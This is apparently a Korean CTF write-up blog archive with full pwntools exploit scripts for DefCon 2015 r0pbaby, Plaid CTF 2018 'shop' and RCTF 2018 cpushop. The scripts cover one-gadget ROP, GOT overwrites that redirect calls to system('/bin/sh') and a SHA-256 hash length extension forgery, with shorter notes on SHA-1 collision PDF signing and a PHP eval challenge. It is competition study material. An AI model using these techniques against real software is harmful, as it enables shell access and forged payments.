Write-up
- [DefCon 2015] r0pbaby 를 magic gadget으로 풀어보기 2018.05.28
- [Plaid CTF 2018] shop python solve code 2 2018.05.22
- [Plaid CTF 2018] shop python solve code 1 2018.05.22
- RCTF 2018 Number Game, Bulls and Cows Solver 2018.05.21
- RCTF 2018 Writeup (cpushop / babyre / Misc+) 2018.05.21
- DEFCON CTF Quals 2018 Writeup 2018.05.14
- [Plaid CTF 2018] macsh - 125 2018.05.07
- [0ctf 2017] integrity - 75p 2018.05.02
- [CSAW '17 CTF] pilot 2018.04.30
- [Byte Bandits CTF 2018] R u Ronald Rivest? 70p 2018.04.27
[DefCon 2015] r0pbaby 를 magic gadget으로 풀어보기
제목 그대로다.
magic gadget( 원샷가젯이라고도 한다.)이란 굉장히 편리한 가젯을 알게되어서 한번 r0pbaby에서 써보았다.
아래가 익스 코드... 사실 좀 필요없는 코드가 많긴한데, 그냥 가독성 좋으라고 함수로 추가해서 짜보았다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | #!/usr/bin/env python from pwn import * import string libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") elf = ELF("./r0pbaby") conn = process("./r0pbaby") def get_func(func_name): conn.sendlineafter(":","2") conn.sendlineafter(":", func_name) conn.recvuntil(":") func_addr = conn.recvline().strip() func_addr = int(func_addr, 16) return func_addr def oneshot_ret(addr, size): conn.sendlineafter(":","3") conn.sendlineafter(":",size) conn.sendline("A"*8+p64(addr)) print("") oneshot_offset = 0x46428 conn.recvuntil("4) Exit") system_addr = get_func("system") offset = libc.symbols['system'] libc_base = system_addr-offset oneshot_addr = libc_base + oneshot_offset log.info("libc_base : 0x%x " % libc_base) log.info("system_addr : 0x%x " % system_addr) log.info("oneshot_addr : 0x%x " % oneshot_addr) oneshot_ret(oneshot_addr ,"16") conn.interactive() | cs |
물론 평범하게 pop rdi 가젯 구하고 /bin/sh 문자열 위치도 구해서
"A"*8 | pop rdi | &"/bin/sh" | system
익스할 수도 있다. 뭐... 뭐가 편한지는 사람마다 다르니까 ㅇㅇ; 근데 원샷가젯이 한방에 풀려서 익스가 빨라서 좋긴하다... 굿굿
'Write-up > Pwnable' 카테고리의 다른 글
[34C3 CTF 2017] readme_revenge (0) | 2018.07.02 |
---|---|
[Byte Bandits CTF] Tale of a Twisted Mind (0) | 2018.06.02 |
[Plaid CTF 2018] shop python solve code 2 (0) | 2018.05.22 |
[Plaid CTF 2018] shop python solve code 1 (0) | 2018.05.22 |
[CSAW '17 CTF] pilot (0) | 2018.04.30 |
[Plaid CTF 2018] shop python solve code 2
code version 2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 | #!/usr/bin/env python from pwn import * import string lib = ELF("/lib/x86_64-linux-gnu/libc.so.6") #lib = ELF("./libc.so.6") elf = ELF("./shop") conn = process("./shop") def AddItem(item, description="nothing", price="1"): conn.sendlineafter("> ","a") conn.sendline(item) conn.sendline(description) conn.sendline(price) def CheckoutAllItem(item_IDs): conn.sendline("c") conn.sendline(item_IDs) result = conn.recvuntil("TOTAL: $") total = conn.recvuntil(".") return (result, total[:-1]) def ListItem(): conn.sendlineafter("> ", "l") list = conn.recvuntil("> ") return list def RenameShop(name): conn.sendline("n") conn.sendlineafter('Enter your shop name:', name) conn.sendlineafter('Enter your shop name:', "myria") for i in range(0,33): AddItem(str(i)) All_ItemIDs = cyclic(0x10000, alphabet='0123456789abcdef', n=4) result, total = CheckoutAllItem(All_ItemIDs) log.info("Checkout : %s" % total) ### fread leak! fread_got = elf.got["fread"] memmem_got = elf.got["memmem"] log.info("fread.got : 0x%x" % fread_got) RenameShop(p64(fread_got-44)) leak = ListItem().split("\n")[-2].split(" - ")[1] leak = leak+"\x00"*(8-len(leak)) fread_addr = u64(leak) ### stdin leak! stdin = 0x6020D0 RenameShop(p64(stdin-44)) leak = ListItem().split("\n")[-2].split(" - ")[1] leak = leak+"\x00"*(8-len(leak)) stdin_addr = u64(leak) ### stdout leak! stdout = 0x6020C0 RenameShop(p64(stdout-12)) leak = ListItem().split("\n")[-2].split(":")[0] leak = leak+"\x00"*(8-len(leak)) stdout_addr = u64(leak) fread_offset = lib.symbols['fread'] memmem_offset = lib.symbols['memmem'] system_offset = lib.symbols['system'] stdout_offset = lib.symbols['_IO_2_1_stdout_'] stdin_offset = lib.symbols['_IO_2_1_stdin_'] base_addr = fread_addr - fread_offset memmem_addr = base_addr + memmem_offset system_addr = base_addr + system_offset stdin_addr = base_addr + stdin_offset log.info("%9s : 0x%x" % ("base_addr", base_addr)) log.info("%9s : 0x%x" % ("fread",fread_addr)) log.info("%9s : 0x%x" % ("memmem",memmem_addr)) log.info("%9s : 0x%x" % ("system",system_addr)) log.info("%9s : 0x%x" % ("stdout",stdout_addr)) log.info("%9s : 0x%x" % ("stdin",stdin_addr)) print("") #malloc ghost = stdout-8 RenameShop(p64(ghost)+"@@@@"+"A") result, total = CheckoutAllItem(All_ItemIDs[4:] + p64(stdout_addr)[:4]) log.info("Checkout : %s" % total) print(result) exploit = "\x00"*8 exploit += p64(stdout_addr) exploit += p64(0x0) exploit += p64(stdin_addr) exploit += p64(0x0) exploit += p64(0x0)*32 ##checkout item exploit += p64(memmem_got) RenameShop(exploit) RenameShop(p64(system_addr)) conn.sendline("c") conn.sendline("/bin/sh") conn.interactive() | cs |
'Write-up > Pwnable' 카테고리의 다른 글
[34C3 CTF 2017] readme_revenge (0) | 2018.07.02 |
---|---|
[Byte Bandits CTF] Tale of a Twisted Mind (0) | 2018.06.02 |
[DefCon 2015] r0pbaby 를 magic gadget으로 풀어보기 (0) | 2018.05.28 |
[Plaid CTF 2018] shop python solve code 1 (0) | 2018.05.22 |
[CSAW '17 CTF] pilot (0) | 2018.04.30 |
[Plaid CTF 2018] shop python solve code 1
1. got영역에서 preItem 이 null이 되게하는 곳(Item갯수가 무려 35개가 되게할수가 있다.)
거기서부터 fread까지 덮어쓰고, fread다음에 있는 strlen의 값을 system함수의 주소로 덮어쓰는 코드
2. 이것말고 shopname을 주소를 bss영역으로 덮고 rename을 통해서
bss영역을 덮어쓰면서 다시 shopname주소를 memmem의 got값으로 덮어써서 memmem got의 값을 변경시키는 코드도 있다.
일단 전자.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 | #!/usr/bin/env python from pwn import * import string lib = ELF("/lib/x86_64-linux-gnu/libc.so.6") #lib = ELF("./libc.so.6") elf = ELF("./shop") conn = process("./shop") def AddItem(item, description="nothing", price="1"): conn.sendlineafter("> ","a") conn.sendline(item) conn.sendline(description) conn.sendline(price) def CheckoutAllItem(item_IDs): conn.sendline("c") conn.sendline(item_IDs) result = conn.recvuntil("TOTAL: $") total = conn.recvuntil(".") return (result, total[:-1]) def ListItem(): conn.sendlineafter("> ", "l") list = conn.recvuntil("> ") return list def RenameShop(name): conn.sendline("n") conn.sendlineafter('Enter your shop name:', name) def MakeALL_2byte_ItemIDs(k, n): """ de Bruijn sequence for alphabet k and subsequences of length n. https://en.wikipedia.org/wiki/De_Bruijn_sequence """ try: # let's see if k can be cast to an integer; # if so, make our alphabet a list _ = int(k) alphabet = list(map(str, range(k))) except (ValueError, TypeError): alphabet = k k = len(k) a = [0] * k * n sequence = [] def db(t, p): if t > n: if n % p == 0: sequence.extend(a[1:p + 1]) else: a[t] = a[t - p] db(t + 1, p) for j in range(a[t - p] + 1, k): a[t] = j db(t + 1, t) db(1, 1) return "".join(alphabet[i] for i in sequence) conn.sendlineafter('Enter your shop name:', "myria") for i in range(0,33): AddItem(str(i)) """ All_ItemIDs = MakeALL_2byte_ItemIDs("0123456789abcdef", 4) All_ItemIDs = All_ItemIDs[:65540] """ All_ItemIDs = cyclic(0x10000, alphabet='0123456789abcdef', n=4) result, total = CheckoutAllItem(All_ItemIDs) log.info("Checkout : %s" % total) ### fread leak! fread_got = elf.got["fread"] log.info("fread.got : 0x%x" % fread_got) RenameShop(p64(fread_got-44)) leak = ListItem().split("\n")[-2].split(" - ")[1] leak = leak+"\x00"*(8-len(leak)) fread_addr = u64(leak) fread_offset = lib.symbols['fread'] strlen_offset = lib.symbols['strlen'] printf_offset = lib.symbols['printf'] fgets_offset = lib.symbols['fgets'] memmem_offset = lib.symbols['memmem'] system_offset = lib.symbols['system'] base_addr = fread_addr - fread_offset strlen_addr = base_addr + strlen_offset printf_addr = base_addr + printf_offset fgets_addr = base_addr + fgets_offset memmem_addr = base_addr + memmem_offset system_addr = base_addr + 0x046590 log.info("%9s : 0x%x" % ("base_addr", base_addr)) log.info("%9s : 0x%x" % ("fread",fread_addr)) log.info("%9s : 0x%x" % ("strlen",strlen_addr)) log.info("%9s : 0x%x" % ("printf",printf_addr)) log.info("%9s : 0x%x" % ("fgets",fgets_addr)) log.info("%9s : 0x%x" % ("memmem",memmem_addr)) log.info("%9s : 0x%x" % ("system",system_addr)) print("") ### _preItem Null, RandomID leak pre_preItemIsNull_Item=0x602008 RenameShop(p64((pre_preItemIsNull_Item+8)-44)) leak = ListItem().split("\n")[-2].split(" - ")[1] leak = leak+"\x00"*(8-len(leak)) pre_preItemIsNull_Item_ID = u64(leak) log.info("preItemIsNull_Item+8(ID) : 0x%x" % pre_preItemIsNull_Item_ID) print("") #malloc RenameShop(p64(pre_preItemIsNull_Item)+"@@@@"+"A") LastItemID = p64(pre_preItemIsNull_Item_ID)[:4] result, total = CheckoutAllItem(All_ItemIDs[4:]+LastItemID) log.info("Checkout : %s" % total) print(result) exploit = "\x00"*(fread_got-pre_preItemIsNull_Item) exploit += p64(fread_addr) exploit += p64(system_addr) RenameShop(exploit) conn.sendline("sh;") conn.interactive() | cs |
'Write-up > Pwnable' 카테고리의 다른 글
[34C3 CTF 2017] readme_revenge (0) | 2018.07.02 |
---|---|
[Byte Bandits CTF] Tale of a Twisted Mind (0) | 2018.06.02 |
[DefCon 2015] r0pbaby 를 magic gadget으로 풀어보기 (0) | 2018.05.28 |
[Plaid CTF 2018] shop python solve code 2 (0) | 2018.05.22 |
[CSAW '17 CTF] pilot (0) | 2018.04.30 |
RCTF 2018 Number Game, Bulls and Cows Solver
RCTF 2018 Misc문제인 Number Game 풀이 소스이다.
writeup은 이쪽 (사용한 알고리즘 및 소스 원본은 이쪽)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 | #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import hashlib import string import itertools import time from itertools import permutations conn = remote('149.28.139.172', 10002) ##bulls and cows solver TYPE_MODE_TEST = 'TEST' TYPE_MODE_DEBUG = 'DEBUG' TYPE_MODE_GAME = 'GAME' CONFIG_MODE = TYPE_MODE_GAME CONFIG_POOL = ["0","1","2","3","4","5","6","7","8","9"] CONFIG_NUM_DIGIT = 4 POTEN = [] # POTENTIAL OF STRIKE, BALL PAIRS #POTEN = [(0, 0), (0, 1), (0, 2), (0, 3), (1, 0), (1, 1), (1, 2), (2, 0), (2, 1), (3, 0)] for s in range(CONFIG_NUM_DIGIT + 1): for b in range(CONFIG_NUM_DIGIT + 1): if s + b <= CONFIG_NUM_DIGIT: POTEN.append((s, b)) WIN_KEY = '%dS0B'%(CONFIG_NUM_DIGIT) def is_allowed_number(number): _number = str(number) return len(_number) == CONFIG_NUM_DIGIT and \ len(set(_number)) == CONFIG_NUM_DIGIT and \ all(int(i) in CONFIG_POOL for i in _number) SET_POOL = set(CONFIG_POOL) ALL_NUMBERS = [int(''.join(number)) for number in permutations(CONFIG_POOL,4)] #print(ALL_NUMBERS) CONFIG_POOL = [0,1,2,3,4,5,6,7,8,9] TEST_ACCELERATION_INDEX = {} def get_to_index(SB_history): a = TEST_ACCELERATION_INDEX for key in SB_history: if key not in a: return None a = a[key] return a['Q'] def set_to_index(SB_history, new_question): a = TEST_ACCELERATION_INDEX for key in SB_history[:-1]: a = a[key] a[SB_history[-1]] = {'Q': new_question} def calc_s_and_b(q, a): _q = str(q).rjust(4, '0') _a = str(a).rjust(4, '0') s = 0 b = 0 for i in range(CONFIG_NUM_DIGIT): if _q[i] == _a[i]: s += 1 elif _q[i] in _a: b += 1 return s, b def calc_pool(q, s, b, pool): result = 0 _q = str(q) for a in pool: _s, _b = calc_s_and_b(_q, a) if s == _s and b == _b: result += 1 return result def update_pool(q, s, b, pool): result = [] _q = str(q).rjust(4, '0') for a in pool: _s, _b = calc_s_and_b(_q, a) if s == _s and b == _b: result.append(a) return result def calc_best_question(a_pool, history): q_pool = [] before_count = len(a_pool) if before_count == 1: return a_pool[0], True before_count = float(before_count) duplicates = set() for q in ALL_NUMBERS: q_str = str(q).rjust(4, '0') for i in CONFIG_POOL: if i not in history: q_str = q_str.replace(str(i), 'X') if q_str in duplicates: continue duplicates.add(q_str) q_pool.append(q) best = 0.0 recom = None _q = 0 dups = [] if CONFIG_MODE == TYPE_MODE_DEBUG: print 'A Pool: %s'%(a_pool) for q in q_pool: result = {} cache = {} total = 0.0 for s, b in POTEN: remain_count = calc_pool(q, s, b, a_pool) if remain_count == 0: continue total += remain_count key = '%dS%dB'%(s,b) cache[key] = remain_count result[key] = remain_count is_duplicate = False for dup in dups: if dup.keys() == cache.keys(): check = [] for key in cache: check.append( cache[key] == dup[key] ) if all(check): is_duplicate = True break if is_duplicate: continue dups.append(cache) if CONFIG_MODE == TYPE_MODE_DEBUG: print 'Answer: %s'%(q) score = 0.0 for key in sorted(result.keys(), key=lambda x: result[x], reverse=True): probability = result[key] / before_count if key == WIN_KEY: score += probability * (before_count - result[key] + 1) / before_count else: score += probability * (before_count - result[key]) / before_count score *= 10 if CONFIG_MODE == TYPE_MODE_DEBUG: print 'Score: %.2f'%(score) if best < score: best = score recom = result _q = q if CONFIG_MODE == TYPE_MODE_DEBUG or CONFIG_MODE == TYPE_MODE_GAME: guessNum = str(_q).rjust(4, '0') guessNum = guessNum[0]+" "+guessNum[1]+" "+guessNum[2]+" "+guessNum[3] #print(guessNum) conn.sendline(guessNum) print 'Recommend Answer: %s'%( guessNum ) result = recom score = 0.0 for key in sorted(result.keys(), key=lambda x: result[x], reverse=True): probability = result[key] / before_count if key == WIN_KEY: score += probability * (before_count - result[key] + 1) / before_count else: score += probability * (before_count - result[key]) / before_count score *= 10 if CONFIG_MODE == TYPE_MODE_DEBUG or CONFIG_MODE == TYPE_MODE_GAME: print 'Score: %.2f'%(score) return _q, len(result) <= 1 # FINISH def interactive_game(): pool = ALL_NUMBERS history = set() count = 0 while True: q, is_finished = calc_best_question(pool, history) if is_finished: # START NEW GAME print 'Game Finished! Answer: %d, Question Count: %d'%(q, count) pool = ALL_NUMBERS history.clear() count = 0 guessNum = str(q).rjust(4, '0') guessNum = guessNum[0]+" "+guessNum[1]+" "+guessNum[2]+" "+guessNum[3] #print(guessNum) conn.sendline(guessNum) print(conn.recvline()) return count += 1 result = conn.recvline() if "Nope" in result: print(result) else: print(result) print 'Game Finished! Answer: %d, Question Count: %d'%(q, count) pool = ALL_NUMBERS history.clear() count = 0 return result = result[6:] bulls, cows = result.split(",") s = int(bulls.strip()) b = int(cows.strip()) #print("s:%d b:%d" %(s,b)) pool = update_pool(q, s, b, pool) # HISTORY UPDATE (USED NUMBER) for i in range(CONFIG_NUM_DIGIT): history.add(q % 10) q /= 10 alphabet = string.digits+string.ascii_letters result = conn.recvline() print(result) shaHash=result.split(" == ")[1].strip() prefix = result.split(")")[0].strip() prefix = prefix.split("+")[1].strip() print(prefix) print(conn.recvuntil('Give me XXXX:')) for cand in itertools.product(alphabet, repeat=4): cand = ''.join(cand) cand_word = cand+prefix cand_word = cand_word.encode('utf8') digest = hashlib.sha256(cand_word).hexdigest() if digest == shaHash: # and ord(digest[3]) >= 0xF0: conn.sendline(cand) break level = 0 ##stage1 conn.recvuntil("GLHF") conn.recvline() conn.recvline() while(1): if level == 8: print(recv) conn.interactive() level+=1 recv = conn.recv(1) recv += conn.recv(1) recv += conn.recv(1) if "==" in recv: print(conn.recvline()) conn.recvline() elif "Gi" in recv: print(recv) else: print(conn.recvline()) conn.recvline() interactive_game() conn.interactive() | cs |
'Write-up > Misc (+ Forensic, Stegano)' 카테고리의 다른 글
[ISITDTU 2018] Drill Write-up (0) | 2018.07.30 |
---|---|
[MeePwnCTF 2018] White Snow, Black Shadow (0) | 2018.07.16 |
난해한 프로그래밍 언어 (0) | 2017.08.01 |
[anstromCTF 2017] USB Encryption (0) | 2017.04.26 |
[anstromCTF 2017] Document (0) | 2017.04.26 |
RCTF 2018 Writeup (cpushop / babyre / Misc+)
Misc 4개 / Crypto 1개 / Reverse 1개 / Web 0개 / Pwn 0개
위와 같이 문제풀고 마무리. Pwn 문제를 좀 더 풀고 싶었지만 heap overflow를 아직 몰라서(공부해야한다...) 풀지 못했다.
[Misc]Sign
sign
Run it and get flag (but how?) (segfault is NOT a bug)
attachment: https://drive.google.com/open?id=1ghFVktqDYM48YiJt-ppx6a-2JHH-wIKm
간단한 문제다 IDA를 이용해 스트링을 살펴보면 FLAG를 찾을 수 있다.
RCTF{WelCOme_To_RCTF}
[Misc] git
git
My file lost!
attachment: https://drive.google.com/open?id=1Mo3uN2FV1J-lbqjQZvvXitWagZqjD1Xi
git 관련해서 파일을 하나 주는데, 로그를 보면 하나밖에 없다. flag를 검색하면 뭔가 나오지않을까해서 Notepad++로 끌어다가 검색해보니 아니다 다를까
Flag라고 커밋해둔게 있다. git checkout을 해서 다시 되돌려주면 flag.txt를 얻을 수 있다.
굿..
[Misc] cats
cats
I love cats! PS: This is NOT a web challenge. Just find the cats.
http://cats.2018.teamrois.cn:1337꽤나 재미있는 문제였다. 주어진 url로 들어가면 아래와 같은 문구를 볼 수 있다.
I love cats! Can you find 15 cats for me ._.?
I'll save the cat food as file "food" and observe whether the outcomes of "cat food" and "eachCatNameYouProvided food" are exactly the same (including return code and trailing CRLFs). Download dockerfile to find cats locally, or you may find reCAPTCHA annoying.
dockerfile을 주는데, 어떻게 cats를 찾느냐. 이 dockerfile을 통해서 가상이미지 환경설정을 하고 그 컨테이너에서 cat들을 찾으면 된다.
도커(docker)는 컨테이너 기반의 오픈소스 가상화 플랫폼이라고 하는데, 자세한 건 검색하면 좋은 자료들이 많이 나온다.
참고자료 :
https://subicura.com/2017/01/19/docker-guide-for-beginners-1.html
http://pyrasis.com/Docker/Docker-HOWTO#dockerfile
cat을 찾는 방법은 간단하다.
명령어로 cat food했을때 나오는 결과와 eachCatNameYouProvided food라고 쳤을때 나오는 결과가 같으면 된다. (둘다 CRLF(\r, \n 등등)으로 끝마쳐 리턴해준다.)
예를 들어 tarcat이란 명령어가 있는데 아래와 같이 치면 둘다 같은 결과를 반환해주는 것을 알 수 있다.
cat: food: No such file or directory
이제 환경변수 PATH에 등록되어있는 곳에서 명령파일들을 하나하나 실행시켜가며 찾든가 하면 된다.
필자는 find 명령어를 사용해서 쓸만한 바이너리파일들을 모아서 cat과 비슷한 결과가 나오는 놈들을 찾게 코드를 돌려서 찾았다.
cat과 같은 결과를 내놓는 명령어들은 대부분 아래와 같다.
tarcat, tail, head, sort, shuf, fold, expand, paste, unexpand, iconv, bash, sh, rbash, erb, dash
RCTF{you_love_cats_dont_you}
[Misc] Number Game
Number Game
Guess Guess Guess
nc 149.28.139.172 10002
넘버게임이라고 nc로 접속하게 되면, 게임에 들어가기 전에 proof of work를 해야한다.
주어진 sha256 해시값과 같은 해시값을 가지게 4자리 XXXX를 채워넣어주면 게임이 시작된다.
게임은 숫자야구게임으로 외국에서는 Bulls and Cows 라고 불리는 게임이다. 6번의 기회가 주어지고 중복없는 4자리 숫자를 순서에 맞게 맞추면 되는 게임이다. 자세한 룰은 이쪽에서 보면 좋다.(한글번역은 이쪽)
하드코딩해서 풀면 된다. Bulls and Cows solver 라고 검색해서 적당한 소스를 가져와서 문제의 조건에 맞게 수정해서 사용하였다.
소스가 길어서 따로 글을 작성해서 올렸다.
[Reverse] babyre
babyre
babyre라는 바이너리 파일과 out파일을 주는데, out으로 나온게 아마 암호화된 flag일 것이다.
babyre 파일을 분석해보면 처음에 문자열과 정수를 입력받고 "your input:try again"라는 문자열을 출력하고 다시 입력을 받는데
이때 입력한 문자들이 각각 인코딩되서 나오므로, 이를 이용해서 out을 디코딩할 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | from pwn import * import string alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_+{}.,/'" table = [alpha[i:i+30] for i in range(0,len(alpha),30)] print(table) p_table = {} for plain in table: conn = process("./babyre") conn.sendline("A"*32) conn.sendline(str(32)) conn.sendline(plain) conn.recvuntil("try again") for i in range(len(plain)): #print(plain[i]+" :"), P = conn.recvline().strip().upper() p_table[P]=plain[i] conn.close() f = open("out", 'r') lines = f.readlines() f.close() flag = "" for c in lines: if c[:8] in p_table: flag += p_table[c[:8]] else: flag += "?" if c[8:16] in p_table: flag += p_table[c[8:16]] else: flag += "?" print(flag) | cs |
[Crypto]cpushop
cpushop
attachment: https://drive.google.com/open?id=11lK6aKJZEq6QhrD6L7SSew4KhvXz_cz0
nc cpushop.2018.teamrois.cn 43000
nc를 통해 들어가면 돈과 무엇을 할 수 있는 지 나온다.
문제소스는 여기
과연 cpushop이라 할만하다. List Items를 해보면 CPU들과 가격이 나온다.
그리고 9번째 항목을 보면 Flag도 팔 고 있는 것을 볼 수 있다. 물론 돈이 없어서 Flag를 살 수는 없다...
물건을 사려면 먼저 Order을 통해서 Items ID에 해당하는 구입증(?)을 발급받아야한다.
만약 0번 제품인 Intel Core i9-7900을 산다고 하면 아래와 같은 코드에 의해서 출력된 것을 Pay에 입력하면 물건을 살 수 있다.
1 2 3 4 | payment = 'product=%s&price=%d×tamp=%d' % (items[n][0], items[n][1], time.time()*1000000) sign = sha256(signkey+payment).hexdigest() payment += '&sign=%s' % sign print 'Your order:\n%s\n' % payment | cs |
payment에 제품에 대한 정보가 들어가 있고, 그 제품정보들 앞에 signkey를 붙여 sha256으로 서명한 값이 payment뒤에 붙어 고객에게 전달되고,
그 값을 고객이 제출하면 샵에서는 payment에서 sign값을 파싱해 그 값을 가지고 payment에 대한 무결성을 검증할 수 있고 고객은 상품을 구입할 수 있다.
만약 상품정보에서 price값을 낮게 설정하고 그 값에 대한 sha256 sign값이 있다면 Order을 통해서 상품구입이 가능하고 우리는 Flag를 구입할 수 있을 것이다. 참고로 Shop측에서 제품정보를 파싱하는 부분에서 취약점이 있는데 아래와 같다.
1 2 3 4 5 6 7 8 9 | for k,v in parse_qsl(payment): if k == 'product': product = v elif k == 'price': try: price = int(v) except ValueError: print 'Invalid Order!' return | cs |
어디가 취약한지 알겠는가? 만약 payment과 다음과 같다면 어떻게 될 것 같은가..?
payment = "product=Flag&price=999×tamp=15235&price=1"
기존의 payment 뒤에 price=1이라는 값을 붙여쓴것이다.
만약 위와 같은 payment가 있다면 price값을 파싱할때, 처음 만난 price=999에서 price=999로 설정하고 계속 for문을 돌다가 마지막에 price를 또 만나 최종적으로 price=1로 설정되고 종료될 것이다.
그러므로 여기서 할 공격은 Hash Length Extension Attack이다!
github에 hash_extender라는 툴이 있으므로 이것을 이용해서 공격할 것이다.
(대회가 끝나고 몇달이 지난후, 우연히 다른 사람의 writeup을 보게 되었다. python 라이브러리중 hashpumpy라는 꿀툴이 있더라... ㄷㄷ;; 이걸 이용하면 좀 더 소스가 깔금해진다. )
참고로 우리는 signkey는 모르므로 signkey의 길이는 브루트포싱으로 맞춰줘야한다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | #!/usr/bin/env python from pwn import * import string from subprocess import Popen, PIPE #context.log_level = 'debug' #conn = remote('cpushop.2018.teamrois.cn', 43000) conn = process(['python', 'cpushop/cpushop.py']) def OrderItemFlag(id=9): conn.sendline("2") conn.recvuntil("Product ID:") conn.sendline(str(id)) conn.recvline() payment=conn.recvline().strip() return payment def SHA256_Extender(paym, sign, keylen): fake_price = "&price=1" keylen = str(keylen) command = './hash_extender --data "'+ paym +'" --secret '+keylen+' --append "'+ fake_price +'" --signature '+sign+' --format sha256' popen = Popen(command, shell=True, stdout=PIPE) output, error = popen.communicate() New_signature, expanded_payment = output.split("New string: ") New_signature = "&sign="+(New_signature.split("New signature: "))[1].strip() expanded_payment = expanded_payment.strip().decode("hex") expanded_payment += New_signature return expanded_payment def PayItem(payment): conn.sendline("3") conn.recvuntil("Your order:") conn.sendline(payment) conn.recvline() result=conn.recvline() return result print(conn.recvuntil('Command:')) payment = OrderItemFlag() paym, sign = payment.split("&sign=") for keylen in range(8,32): print("keylen : " + str(keylen)) conn.recvuntil('Command:') payment = SHA256_Extender(paym,sign,keylen) result = PayItem(payment) if "Invalid Order!" not in result: print(result) conn.interactive() #conn.shutdown() # Ctrl+D conn.interactive() """ https://github.com/iagox86/hash_extender ./hash_extender --data "product=Intel Core i9-7900X&price=999×tamp=1526710428630790" --secret 20 --append append --signature a3f3282990039a1cb6816c172b9e5d44308213c25d0c76d3d5dddfb627b2a0f8 --format sha256 """ | cs |
'Write-up > CTF _ Write UP' 카테고리의 다른 글
[HITCON-Training] lab12 : secretgarden (0) | 2019.07.13 |
---|---|
DEFCON CTF Quals 2018 Writeup (0) | 2018.05.14 |
[WriteUP] Byte Bandits CTF 2018 (0) | 2018.04.10 |
[WriteUp] UIUCTF 2018 Writeup (0) | 2018.04.10 |
DEFCON CTF Quals 2018 Writeup
ELF Crumble (102pt)(Ordered by 368 teams) |
8개의 fragment가 주어지고 이 순서만 제대로 맞추면 elf파일이 정상적으로 작동할 것이므로 경우의 수는 8!=40320이다.
브루트포싱으로 공격하여 프로그램이 정상적으로 작동할 때까지 끼워맞추기를 하면 다음 순서로 이어맞출때 아래와 같이 출력된다.
'fragment_8.dat',
'fragment_7.dat',
'fragment_1.dat',
'fragment_5.dat',
'fragment_6.dat',
'fragment_2.dat',
'fragment_3.dat',
'fragment_4.dat'
FLAG는 welc000me
You Already Know (101pt)(Ordered by 487 teams) |
크롬 개발자도구(F12)를 키고 이 문제를 열어보면 network에서 message부분에서 누락된 Flag를 확인 할 수 있다.
OOO{Sometimes, the answer is just staring you...}
짤려버렸고, 문제서버가 닫혀서 다시 확인해볼 수 없지만 아래와 같이 찾을 수 있다.
Easy Pisy (104 pt)(Ordered by 190 teams) |
해당 Web에서는 openssl_sign을 이용해서 pdf의 서명 및 인증을 하고 있다. openssl_sign의 디폴트 알고리즘은 SHA-1으로 이는 취약함이 2017년 2월에 구글에 의해서 완전히 입증되었다. ( 충돌쌍을 누구나 만들 수 있게 소스 또한 공개되어있다.)
참고 사이트 : https://cpuu.postype.com/post/580053
서비스 사이트 : https://shattered.io/
그러므로 동일한 해시값을 가진 서로 다른 pdf를 생성할 수 있다.
echo flag라는 문자열을 포함하고 있는 pdf와 cat flag라는 문자열을 포함하고 있는 pdf를 동일한 해시값을 가지게 생성하고,
echo flag를 서명받아 그 값을 가지고 cat flag를 실행시킬 수 있다.
pdf_sha1collider github : https://github.com/nneonneo/sha1collider
Say Hi! (104 pt)(Ordered by 209 teams) |
5월 13일은 외국에서 어머니의 날이다. 어머니에게 전화나 메세지를 남기라는 문제로 유형도 human interaction이다.
어버이날에 한번 인사드렸지만 한번 더 감사해하며 Flag를 인증해주자.
|
PHP Eval White-List (104 pt)(Ordered by 192 teams) |
문제 페이지에 들어가면 eval을 이용하여 코드를 실행시킬 수 있다.
flag binanry 파일을 실행시키면 되는데, flag파일은 현재 폴더에서 한단계 상위에 있으므로 ../flag를 실행시키면 되겠다.
